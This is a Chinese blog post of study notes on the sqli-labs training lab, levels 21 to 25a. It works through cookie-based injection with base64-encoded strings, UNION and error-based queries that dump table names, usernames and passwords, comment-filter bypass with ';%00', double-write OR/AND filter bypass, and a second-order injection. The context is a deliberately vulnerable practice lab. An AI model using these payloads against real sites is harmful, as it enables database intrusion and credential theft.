sql-labs 闯关 21~25

sql-labs 闯关 21~25

友善爱国法治诚信富强友善公正爱国和谐友善爱国爱国友善自由民主爱国友善公正

复习笔记1


内容:

  1. sql-labs第21关(Cookie注入-base64编码-单引号和括号)
  2. sql-labs第22关(Cookie注入-base64编码-双引号)
  3. sql-labs第23关(GET请求-基于错误-过滤注释)
  4. sql-labs第24关(POST请求-二次注入*真实处理-储存注入)
  5. sql-labs第25关(GET请求-基于错误-过滤OR&AND-字符单引号)
  6. sql-labs第25a关(GET请求-基于盲注-过滤OR&AND-基于数值型)

1. sql-labs第21关

1.1.1
这关还是post请求
1.1.2
随便输入,登录失败,那试试输入正确的账号密码,看看结果会不会不一样
1.1.3
输入dumb之后,页面反馈的就不一样了,不过cookie那的uname值看着好奇怪,可能被加密了,不过我对这方面的了解不深,看着不像是Unicode和ASCII编码,暂时先不管,先抓包改cookie值看看能不能绕过
1.1.4
1.1.5
没绕过去,只能去找找加密方式,再去试试用加密方式输入,用bugku在线工具成功找出,这关的加密方式是base 64
1.1.6
1.1.7
dumb'加密后再输入,页面出现报错信息了,从信息上看闭合点是’)
1.1.8
闭合点确定是’),那我可以快乐的开始报错注入了
没加密前的语句是:

dumb') and updatexml(1,concat(0x7e,database(),0x7e),1)#

加密后的语句是:

ZHVtYicpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpLDEpIw==

1.2.1
爆库
没加密前的语句是:

dumb') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

加密后的语句是:

ZHVtYicpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScpLDB4N2UpLDEpIw==

1.3.1
爆表
没加密前的语句是:

dumb') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#

加密后的语句是:

ZHVtYicpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyBhbmQgdGFibGVfbmFtZT0ndXNlcnMnKSwweDdlKSwxKSM=

1.4.1
爆字段
没加密前的语句是:

dumb') and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)#

加密后的语句是:

ZHVtYicpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSkgZnJvbSB1c2VycyksMHg3ZSksMSkj

1.5.1
爆数据


2. sql-labs第22关

欢迎界面跟上关没什么差别,输入dumb,查看
2.1.1
又是cookie那块的uname用base64编码了
2.1.2
2.1.3
用双引号判断法尝试,出现报错信息,且闭合点是"
2.1.4
100%确定闭合点就是"
没加密前:

dumb" and extractvalue(1,concat(0x7e,database(),0x7e))#

加密后:

ZHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw==

2.2.1
爆库
没加密前:

dumb" and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e))#

加密后:

ZHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpKSwweDdlKSkj

2.3.1
爆表
没加密前:

dumb" and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x7e))#

加密后:

ZHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKWZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkgYW5kIHRhYmxlX25hbWU9J3VzZXJzJyksMHg3ZSkpIw==

2.4.1
爆字段
没加密前:

dumb" and extractvalue(1,concat(0x7e,(select group_concat(username)from users),0x7e))#

加密后:

ZHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lKWZyb20gdXNlcnMpLDB4N2UpKSM=

2.5.1
爆数据


3. sql-labs第23关

这关又回到了我喜欢的get请求,我的harkbar插件终于有用武之地了
3.1.1
输入?id=1查看页面
3.1.2
输入?id=1 and 1=2查看页面,如果不同那么就说明这是数值型的
3.1.3
输入?id=1'页面不仅报错了,说明很可能是单引号闭合,还有mysqli_fetch_array()函数警告,看完mysqli_fetch_array()函数描述,我还是不知道哪出问题了,先去看看源代码
3.1.4
那从源代码来看,不能用注释来绕过了,然后这时候百度的作用就来了,有两种解决办法,一种是用and或or语句进行闭合,还有一种是用一种特殊的注释符,针对于sql-labs特殊使用的注释符;%00

sqli-labs靶场第二十三关
第二十三关(Less-23):

1.用and或or语句进行闭合

3.1.5
按照大佬的博客提示来输入?id=1' and '1'='2,页面不一样了,可能这个方法可行
3.1.6
判断列数时输入?id=1' order by 1000 and '1'='2,出现了不管我输入多少,页面显示的都是成功的问题,没整明白啥原因,不过总有大佬能告诉我答案,总的来说就是MySQL的执行顺序搞的鬼,为了快速查看,我截图贴上,完整版请点击下方链接,建议点击学习~
jjfa1

Sqli-Labs:Less 23

3.1.7
那接下来就在2的位置开始完成这关的任务

?id=-1' union select 1,database(),3 and '1'='1

3.1.8
爆库

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 and '1'='1

3.1.9
爆表

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3 and '1'='1

3.1.10
爆字段

?id=-1' union select 1,(select group_concat(username) from users ),3 and '1'='1

3.1.11
爆数据

2.用特殊使用的注释符;%00进行闭合

3.2.1
按照大佬的博客提示来输入?id=1' ;%00,页面没有显示报错了,这个方法可行性较高哦
3.2.2
3.2.3
判断列数
3.2.4
输入?id=-1' union select 1,2,3 ;%00查看回显位
3.2.5
输入?id=-1' union select 1,version(),database() ;%00爆库

?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() ;%00

3.2.6
爆表

?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users';%00

3.2.7
爆字段

?id=-1' union select 1,group_concat(username),group_concat(password)from users ;%00

3.2.8
爆数据
这个特殊注释符我还是第一次看到,学到了学到了


4. sql-labs第24关

4.1.1
这关界面第一次见,在文本框内输入的错误的账号密码
4.1.2
输入正确的账号慢慢,页面显示这样的
4.1.3
再试试下面两个链接
4.1.3
这个改密码给的建议还真是秒哇,杜绝了用户在改密码的注入
4.1.4
这个注册链接居然还会给机会,随便输入了1,看样子好像注册成功了,去看看数据库
4.1.5
4.1.6
那就用单引号或双引号来尝试闭合
4.1.7
但是不管我是用单引号判断法还是双引号判断法都不能出现报错信息
4.1.8
我又想起第二关还是第三关注入点是数值型的,这关可能也这样,然后输入了1 and 1=2,又成功注册了,我只能寄希望于抓包了
4.1.9
第一个页面已经探索完了,现在去第二个页面探索一下
4.1.10
又成功的改了密码
我不会了,我去看看源代码到底是什么东西,这么难。我是没想到,这关有8个源文件,通过前期的摸索再加上粗略查看后,pass_change.php文件的代码比其他的都重要,经过长达半小时的找不同,还是发现了一点端倪
4.1.11
首先username变量是从SESSION那里获取的值,没有跟curr_pass、pass、re_pass一样被转义,其次这个变量直接用更新语句里头了没有做任何转义过滤等操作,那么把这搞定有很大的可能就结束了。不过,我搞不定,需要召唤大佬登场了。写的好详细,我还搁这自己分析老半天

SQLi-Labs less 24
Sqli-labs之Less-24(二次注入)
Sqli-Labs:Less 24*

4.1.12
照着打,把密码改成123,再去看数据库数据改变情况
4.1.13
这关成功的方式也跟以往不同,不用再爆数据库名了


5. sql-labs第25关

5.1.1
这关的欢迎界面又变了,这段英语大概是说or和and都被过滤了,那是时候试试sql注入绕过方法了,百度也有一些别的方式
5.1.2

web安全之SQL注入绕过技术
黑客常用SQL注入绕过技术总结!

5.1.3
先判断闭合点,输入?id=1',报错了
5.1.4
输入?id=1'--+似乎成功闭合
5.1.5
接下来就先试试这四种绕过方式了,百度上的以后再试吧
5.1.6
用大小写绕过注入尝试,输入?id=1' Order by 3--+,结果很明显,失败了
5.1.7
用双写绕过注入尝试,输入?id=1' oorrder by 3--+,成功绕过。再继续试试
5.1.8
用编码绕过注入尝试,使用在线编码,输入or再点击hex编码,得到结果为%6f%72,再次编码,得到结果为%25%36%66%25%37%32,最后在url处输入?id=1' %25%36%66%25%37%32der by 3 --+,查看结果,发现失败了
5.1.9
用内联注释绕过注入尝试,输入?id=1' /*!or*/der by 3 --+,失败
5.1.10
如果我没用错方式的话,这关只有双写可以绕过,输入?id=-1' union select 1,2,3 --+确定回显位,接下来就开始爆数据了
5.1.11
输入?id=-1' union select 1,database(),version() --+爆库

?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+

5.1.12
爆表

?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name='users'--+

5.1.13
爆字段

?id=-1' union select 1,group_concat(username),group_concat(passwoorrd) from users--+

5.1.14
爆数据


6. sql-labs第25a关

6.1.1
欢迎界面跟上关差不多,字体颜色变了而已,正常输入?id=1
6.1.2
输入?id=1 aandnd 1=2,页面改变了,那就说明这关的类型是数值型,省了试闭合点,真好
6.1.3
用反斜杠判断法,查看闭合点,发现这关隐藏了报错信息。(如果没有按照注入步骤来的话,我可能会在这里卡很久,才能反应过来,这关的类型是数值型。在这感谢杨晔老师总结的步骤,让我少走弯路)
6.1.4
早就知道是3列了,跳过这一步,直接输入?id=-1 union select 1,2,3 --+,看回显位
6.1.5
输入?id=-1 union select 1,database(),version() --+爆库

?id=-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+

6.1.6
爆表

?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name='users'--+

6.1.7
爆字段

?id=-1 union select 1,group_concat(username),group_concat(passwoorrd) from users--+

6.1.8
爆数据

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
对于安装 SQL-Labs,您可以按照以下步骤进行操作: 1. 首先,您需要确保您的系统上已经安装了 LAMP 或者 WAMP 等 Web 服务器环境,以及 MySQL 数据库。 2. 下载 SQL-Labs 的源代码。您可以从 GitHub 上的项目页面(https://github.com/Audi-1/sqli-labs)下载最新的 ZIP 文件,并将其解压缩到您的 Web 服务器的文档根目录中。 3. 在 MySQL 数据库中创建一个新的数据库,用于存储 SQL-Labs 的数据。您可以使用以下命令在 MySQL 命令行中创建一个新数据库: ``` CREATE DATABASE sqli; ``` 4. 导入 SQL-Labs 的数据库结构。进入到您解压缩的 SQL-Labs 文件夹中,找到 `db-structure.sql` 文件,并使用以下命令导入数据库结构: ``` mysql -u your_username -p sqli < db-structure.sql ``` 替换 `your_username` 为您的 MySQL 用户名,并输入密码进行验证。 5. 配置 SQL-Labs。进入 SQL-Labs 文件夹中的 `db.php` 文件,按照注释中的提示修改数据库连接信息,包括主机名、用户名、密码和数据库名称。 ``` $host = 'localhost'; $user = 'your_username'; $password = 'your_password'; $db = 'sqli'; ``` 6. 启动 Web 服务器,并在浏览器中访问 SQL-Labs。在浏览器中输入 `http://localhost/sql-labs/`,您应该能够看到 SQL-Labs 的登录页面。 现在,您已经成功安装并配置了 SQL-Labs。请确保仔细阅读项目的文档,了解如何正确使用和利用 SQL-Labs 的功能。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值